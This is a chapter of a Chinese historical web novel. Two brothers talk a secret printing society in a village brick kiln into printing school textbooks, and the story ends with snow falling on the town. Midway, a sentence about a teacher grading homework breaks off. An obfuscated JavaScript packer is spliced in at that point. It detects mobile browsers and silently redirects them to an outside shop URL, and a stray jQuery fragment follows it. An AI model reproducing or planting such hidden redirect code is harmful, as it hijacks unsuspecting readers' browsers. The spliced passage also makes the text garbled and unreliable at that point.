腊月初八，夜。
月亮被浓云遮蔽，青石镇笼罩在一片沉黑里。风从青云河上刮来，带着刺骨的寒意，吹得砖窑四周的枯草簌簌作响。
张静轩跟在张静远身后，两人都穿着深色棉袍，踩着荒草间隐约的小径，往砖窑深处走去。张静远拄着拐杖，但脚步很稳，显然早已熟悉了这路径。张静轩提着一盏蒙了黑布的灯笼，微弱的光只能照见脚下三尺。
“记住，”张静远压低声音，“无论发生什么，保命第一。一旦我示意，你就往东边跑，那里有个废井，能藏身。”
张静轩点头，手心全是汗。他怀里揣着那本《新潮》，还有几页从手稿上撕下的纸——那是他们准备的说辞。大哥的意思是，先讲理，再谈条件。如果对方真是为了救国，或许能听懂。
砖窑的轮廓在夜色里像巨大的坟冢。第三座窑的入口处，隐约有微光透出——地下仓库的入口就在窑内。张静远停下脚步，侧耳听了听。里头有说话声，很低，但能听出不止一个人。
“到了。”他深吸一口气，推开虚掩的窑门。
窑内比想象中宽敞。废弃的砖窑内部呈穹顶状，墙壁被烟熏得漆黑。正中摆着一张破木桌，桌上点着两盏油灯。围着桌子坐了五个人——赵明德坐在下首，神色紧张；一个左眉有痣的中年人坐在主位，面容沉静；另外三个都是年轻人，穿着半旧的学生装，眼神里透着警惕。
见有人进来，所有人都站起身。那三个年轻人手摸向腰间——那里鼓囊囊的，显然是武器。
“别紧张。”张静远开口，声音平静，“我是张静远，青石镇人。这位是我弟弟，张静轩。”
左眉有痣的中年人打量着他们，目光在张静远腿上的伤和手里的拐杖上停留片刻：“张静远……前线回来的？”
“是。”
“听说过。”中年人点点头，“在徐州打过阻击战，负了伤。是个汉子。”
他挥手示意那三个年轻人退后，自己拉开两把椅子：“坐。深夜来访，有何贵干？”
张静远不客气地坐下。张静轩挨着他坐，把灯笼放在脚边。油灯的光在众人脸上跳动，映出一张张神色各异的脸。
“先问个问题，”张静远直视中年人，“诸位深夜在此，所为何事？”
中年人笑了，那笑容里有种读书人特有的矜持：“读书人聚会，谈文论道，不可以吗？”
“谈文论道，需要印刷设备？”张静远指了指窑角——那里堆着打开的箱子，铅字、油墨、印刷机零件散落一地，“还需要武装护卫？”
气氛骤然紧张。那三个年轻人又把手按在腰间。赵明德脸色煞白，想说什么，被中年人一个眼神制止了。
“张先生好眼力。”中年人收起笑容，“既然看出来了，我也不瞒着。我们是‘青云会’，一群想为国家做点事的人。”
“做什么事？”张静轩忍不住问。
中年人看了他一眼，眼神温和了些：“小兄弟，你也在办学堂，应该明白——这世道病了，得治。我们想做的，就是开药方。”
“什么样的药方？”张静远追问。
“唤醒民众的药方。”中年人从桌上拿起一沓稿纸，“这些文章，讲的是劳工的权益，妇女的解放，科学的重要。我们印出来，散出去，让更多人看到、想到、觉醒过来。”
张静轩看着他手中的稿纸。那些字句，他在《新潮》里读过，热血，激昂，像火。
“然后呢？”张静远问，“民众觉醒了，然后呢？”
“然后……”中年人顿了顿，“然后他们就会要求改变，要求一个更公平的世道。”
“怎么改变？”张静远的声音依然平静，“靠几篇文章，就能改变？”
“文章是火种。”中年人眼中有了光，“火种多了，就能燎原。”
张静远摇头：“火种若落在干柴上，确实能燎原。但若落在湿柴上，只会冒烟，呛人，最后熄灭。”他顿了顿，“青石镇现在的民众，不是干柴。他们刚有口饭吃，孩子刚能上学，你让他们去‘燎原’，他们敢吗？愿意吗？”
这话说得很直接。中年人沉默了。那三个年轻人中，一个戴眼镜的忍不住开口：“难道就因为不敢，就不做了？总要有人先站出来！”
“站出来，然后呢？”张静远看向他，“被官府抓，被镇压，然后青石镇多几个寡妇，多几个孤儿？这就是你们要的改变？”
眼镜青年噎住了。另一个方脸青年拍案而起：“那按你说，该怎么办？坐着等？等这世道自己变好？”
“不是等，是做。”张静远从张静轩手里拿过那本《新潮》，放在桌上，“但做法不一样。你们在印书，我们在办学。你们想唤醒所有人，我们想先教会孩子。你们要的是烈火燎原，我们要的是细水长流。”
他翻开书，指着那些批注：“这些道理，都对。劳工该被尊重，妇女该有权利，科学该被重视。但怎么实现？靠喊口号？还是靠一点一滴地做？”
中年人拿起书，翻看着。油灯的光照在他脸上，那张原本坚定的脸，此刻有了些许动摇。
“张先生，”他缓缓开口，“你说得有理。但时间不等人。外有强敌，内有腐弊，再慢慢来，来得及吗？”
“前线打仗时，我见过太多急功近利的事。”张静远说，“为了夺一个阵地，不顾伤亡强攻，最后阵地拿下了，人也打光了。有什么用？真正的胜利，不是一时一地之得失，是持久地、扎实地，一步步推进。”
他顿了顿，声音更沉：“救国也是。不能只图快，要图实。青石镇这所学堂，现在有二十八个孩子。二十八个，不多。但他们学会了识字，学会了算账，学会了写信。将来，他们或许能让家里过得更好，或许能教自己的孩子读书。一代一代，慢慢改变。这才是扎得住的根。”
窑内一片寂静。只有油灯燃烧的噼啪声，和窑外呼啸的风声。
中年人久久不语。他摩挲着那本《新潮》，眼神复杂。许久，他抬起头：“张先生，你们办学堂，遇到不少阻挠吧？”
“是。”张静远点头，“泼粪的，扔石头的，卡拨款的，都有。”
“那为什么还要坚持？”
“因为值得。”张静轩忽然开口。所有人的目光都转向他。这个一直沉默的少年，此刻眼神清亮：“学堂里的孩子，水生的爹是船工，小莲的爹在省城做工，铁蛋的爹是铁匠……他们来上学，不是想当官发财，是想识几个字，明几个理，将来活得有尊严。就为这个，就值得。”
他顿了顿，声音有些发颤：“我大哥在前线打仗，也是为了这个——让像青石镇这样的地方，能安安稳稳地过日子，让孩子能安安稳稳地读书。”
这番话说完，窑内更静了。那三个年轻人相互看看，眼神里的敌意淡了些。赵明德低着头，不知在想什么。
中年人长长吐出一口气。他站起身，在窑内踱步。昏黄的光把他的影子投在漆黑的墙壁上，拉得很长。
“张先生，张小弟，”他终于开口，“你们说的，我都听进去了。说实话，我们来青石镇，不是偶然。听说这里有人办学堂，有新气象，我们想看看，能不能在这里……播点火种。”
他走回桌边，坐下：“但现在看来，你们播的，是另一种火种——更温和，更扎实，但也更难。”
“难，但值得。”张静远说。
中年人点头。他看向那三个年轻人：“你们觉得呢？”
眼镜青年推了推眼镜：“老师，我觉得……他们说得有道理。咱们印的那些东西，在省城或许有人看，但在青石镇这样的地方，老百姓看不懂，也不敢看。”
方脸青年也点头：“而且……真要闹起来，最先遭殃的是老百姓。咱们不能为了理想，让他们担风险。”
第三个一直沉默的圆脸青年开口：“那咱们……不干了？”
“不是不干。”中年人摇头，“是换个方式干。”他看向张静远，“张先生，如果我们愿意把印刷设备留下，帮你们印教材，印识字课本，印那些实实在在能帮到孩子的东西……你们愿意合作吗？”
这话出乎所有人意料。张静远和张静轩对视一眼，都从对方眼中看到了惊讶。
“为什么？”张静远问。
“因为你们在做实事。”中年人笑了，那笑容里有了释然，“这些年，我见过太多人空谈理想，却不肯弯腰做小事。你们不一样——学堂办了，孩子教了，街坊的心聚了。这才是真正的根基。”
他顿了顿：“救国不是一朝一夕的事。或许，从教一个孩子识字开始，比印一百本激进的册子，更有用。”
张静轩感到眼眶发热。他没想到，这场原本可能剑拔弩张的会面，会以这样的方式收场。
“那你们的组织……”张静远问。
“青云会不会散。”中年人摇头，“但我们会调整方向。以后，不只印激进的文字，也印有用的知识。不只在大城市活动，也到乡下看看，看看真正的中华民国是什么样。”
他看向那三个年轻人：“你们愿意吗？”
三人对视，最终齐齐点头。
事情就这样定了。青云会留下印刷设备，帮学堂印制教材；作为交换，学堂允许他们定期聚会，但必须保证不在青石镇煽动激进活动。赵明德被要求退出——这个见风使舵的小吏，不适合参与这样的事。
“赵干事，”张静远看向一直缩在角落的赵明德，“今天的事，你就当没看见。印刷设备我们会处理，你该干什么还干什么。但记住——若再动歪心思，新账旧账一起算。”
赵明德连连点头，冷汗直流。
离开砖窑时，已是子夜。云散了，月亮露出来，清清冷冷地照着荒凉的窑场。张静轩提着灯笼，跟在张静远身后。风依然冷，但心里却暖烘烘的。
“大哥，”他轻声说，“真没想到……”
“没想到他们会转变？”张静远笑了，“其实，真正想做实事的人，都愿意听道理。他们只是之前没找到对的路。”
“那以后……咱们真和他们合作？”
“为什么不？”张静远停下脚步，看着弟弟，“多一个朋友，总比多一个敌人好。而且，他们有印刷设备，有热情，只是缺方向。咱们给他们方向，他们给咱们助力，双赢。”
张静轩点头。他看着大哥在月光下的侧脸，忽然觉得，这个从战场归来的兄长，比他想象中更有智慧——不是兵法的智慧，是处世的智慧，是看人的智慧。
“对了，”张静远想起什么，“那个中年人，叫陈启明。他留了个地址，说如果需要帮忙，可以找他。”
陈启明。张静轩记下了这个名字。
回到家，福伯还在等。见两人平安归来，老人家松了口气，忙去热姜汤。张静轩喝着热腾腾的姜汤，感觉冻僵的身子慢慢暖和过来。
“福伯，”张静远说，“明天一早，您去找几个可靠的伙计，把砖窑里的印刷设备搬出来。找个安全的地方——就……就放在学堂的后厢房吧。那里平时没人去。”
福伯一愣：“放在学堂？会不会……”
“最危险的地方，就是最安全的地方。”张静远说，“而且，放在学堂，用起来方便。以后印教材，孩子们也能看到——让他们知道，知识是怎么来的。”
张静轩眼睛一亮。这个主意好。让印刷设备放在学堂，既是实用，也是象征——知识的生产，就该在传播知识的地方。
那一夜，张静轩睡得很沉。梦里，他看见印刷机在学堂里转动，一张张印着字的纸飞出来，落在孩子们手里。孩子们捧着纸，大声朗读，声音清亮，穿过青石镇的街巷，传得很远很远。
腊月初九，清晨。
张静轩醒来时，天已大亮。阳光很好，照在窗棂上，投下斑驳的光影。他推开窗，看见福伯正指挥着几个伙计往马车上搬东西——用油布包得严严实实的，是那些印刷设备。
街坊们好奇地看着，但没人多问。在青石镇，张家办事，总有道理。
张静轩洗漱完，去书房找大哥。张静远正在写信，见弟弟进来，放下笔：“醒了？正好，有件事要你去办。”
“什么事？”
“去学堂，告诉苏先生和程先生印刷设备的事。”张静远说，“也问问他们，有什么教材需要印。第一批，我想印识字课本和算术口诀——要印得清楚，印得结实，能反复用。”
张静轩点头。他想了想，又问：“那青云会那些人……”
“陈启明今天会来。”张静远说，“他说要看看学堂，也见见两位先生。你准备一下，中午在家里吃顿饭。”
这又是意外之喜。张静轩忙应下，匆匆往学堂去。
清晨的学堂，正是一天中最有生机的时候。孩子们陆续到了，在院子里晨读。苏宛音在擦黑板，程秋实在批
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140667|196314||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
改作业。见张静轩来，都停下手中的事。
张静轩把事情说了。苏宛音和程秋实听完，都愣住了。
“青云会……我听说过。”程秋实推了推眼镜，“在省城时，有些同学参加过他们的读书会。没想到，他们会来青石镇。”
“更没想到，他们会转变。”苏宛音轻声说，“张先生说得对，真正想做实事的人，都愿意听道理。”
“那印刷设备……”张静轩问。
“好事。”苏宛音眼睛亮了，“咱们一直想印些适合乡下孩子的教材，但没条件。现在有了设备，能做的事就多了。”
她走到书柜前，抽出一沓手稿：“这是我整理的《女子识字课本》，针对女孩子的特点，从家务、女红讲起，慢慢引到识字算数。一直想印，但没机会。”
程秋实也拿出几页纸：“我编了《实用算术》，结合青石镇的实际——量米、算账、计工，都是孩子们用得上的。”
张静轩看着这些手稿，心里涌起一股热流。原来两位先生，早已做了这么多准备。他们缺的，只是一个机会。
现在，机会来了。
中午，陈启明如约而至。他没带那三个年轻人，独自一人，穿着朴素的灰色长衫，像个普通的教书先生。张老太爷在正厅接待了他，张静远作陪，张静轩在一旁斟茶。
谈话很融洽。陈启明看了学堂，看了孩子们，看了苏宛音和程秋实准备的教材手稿。他沉默了很久，最后说：“我来之前，还存着几分疑虑。现在没了。你们做的，才是真正的根基。”
饭桌上，他讲了自己的经历——早年留学日本，学的是印刷技术。回国后，一心想着用印刷唤醒民众，但屡屡碰壁。印的东西没人看，看了也不懂，懂了也不敢行动。渐渐觉得迷茫，直到遇见张静远兄弟。
“张先生那句‘火种落在湿柴上’，点醒了我。”陈启明感慨，“我总想着点大火，却忘了，柴要先晾干。”
张老太爷点头：“陈先生能这么想，是青石镇之福。”
“是青石镇给了我启发。”陈启明举杯，“这一杯，敬学堂，敬孩子，敬这实实在在的希望。”
饭后，陈启明去看印刷设备。设备已经安置在学堂后厢房，虽然简陋，但齐全。他熟练地检查了一遍，点点头：“能用。铅字不全，但常用的都有。油墨不够，我让省城的同志寄些来。”
“同志？”张静轩好奇。
陈启明笑了：“志同道合的人，就是同志。”他顿了顿，“以后，青石镇需要什么教材，尽管说。我们印，免费。”
这话掷地有声。张静远拱手：“那先谢过了。”
“该我谢你们。”陈启明看着窗外的学堂院子，那里，孩子们正在午休，嬉笑声阵阵，“你们让我看到了，救国还有另一条路——更慢，但更稳的路。”
事情就这样定了下来。青云会与青石镇学堂的合作，悄无声息地开始。印刷机在深夜转动，印出的第一本教材，是苏宛音的《女子识字课本》。封面上，印着一行小字：“青石镇新式学堂印制”。
腊月十五，第一批教材发到孩子们手中。小莲捧着那本专为女子编的课本，眼睛亮得像星星。她翻到第一课，轻声念：“女，女子。手，巧手。识字明理，持家有方。”
水生拿到的是《实用算术》，翻开就是码头计工的例题。他兴奋地说：“这个好！俺爹就能用上！”
铁蛋的则是《工匠入门》，讲的是铁匠、木匠的基本知识。他摸着封面上的工具图案，咧嘴笑了。
看着孩子们如获至宝的神情，张静轩觉得，这一个月的奔波、担忧、冒险，都值了。
腊月二十，年关近了。青石镇开始准备年货，空气中飘着腊肉和糕点的香气。学堂放了年假，但印刷机没停——陈启明带着那三个年轻人，又印了一批《新春识字画》，上面有年画，有吉祥话，还有简单的识字内容。准备过年时，免费发给镇上的百姓。
张静轩帮忙装订。油墨的味道混着纸张的清香，让他感到一种实实在在的充实。陈启明一边操作印刷机，一边说：“静轩，你知道印刷术最早是干什么用的吗？”
“印佛经？”
“对。”陈启明点头，“传播信仰。现在，咱们印的也是‘信仰’——信知识能改变命运，信努力能有出路，信这世道会慢慢变好。”
他拍了拍印刷机：“这台机器，以前印的是口号。现在，印的是希望。一样是印刷，但印的东西不一样，意义就不一样。”
张静轩重重点头。他明白了——工具没有善恶，看人怎么用。刀能杀人，也能切菜；印刷机能印激进传单，也能印识字课本。
关键在人心。
腊月二十三，小年。青石镇下了入冬以来第一场雪。雪花纷纷扬扬，把青石镇的屋瓦染成一片洁白。学堂的院子里，孩子们在打雪仗，笑声在雪中传得很远。
张静轩站在廊下看着。苏宛音走过来，递给他一杯热茶：“想什么呢？”
“想这一年。”张静轩接过茶，暖着手，“发生了太多事。”
“是啊。”苏宛音也看着雪中嬉戏的孩子们，“但好在，学堂还在，孩子还在，希望还在。”
两人沉默了一会儿。雪越下越大，天地间白茫茫一片，纯净得像张崭新的纸。
“苏先生，”张静轩忽然问，“您说，明年会更好吗？”
苏宛音笑了，那笑容在雪光里格外温暖：“只要咱们还在做该做的事，就会。”
她顿了顿：“就像这雪，看着冷，但底下，种子在睡，在等春天。等到开春，雪化了，种子就会发芽，长大。”
张静轩点头。他看着学堂的屋檐——那里，挂着一排冰凌，晶莹剔透，在雪光里闪着微光。
他深吸一口气，冷冽的空气灌入肺腑，清醒而坚定。
明年，还有很多事要做。
学堂要办得更好，教材要印得更多，孩子们要教得更扎实。
还有——大哥的腿要养好，爹娘的身体要顾好，街坊们的日子要过好。
一件一件，慢慢来。
就像这雪，一片一片，积起来，就能覆盖山河。
然后，等春天来。
雪还在下。
青石镇静默在雪中，像一幅淡墨画。
画里，有屋舍，有街巷，有学堂，有老槐树。
还有，无数个等待春天的人。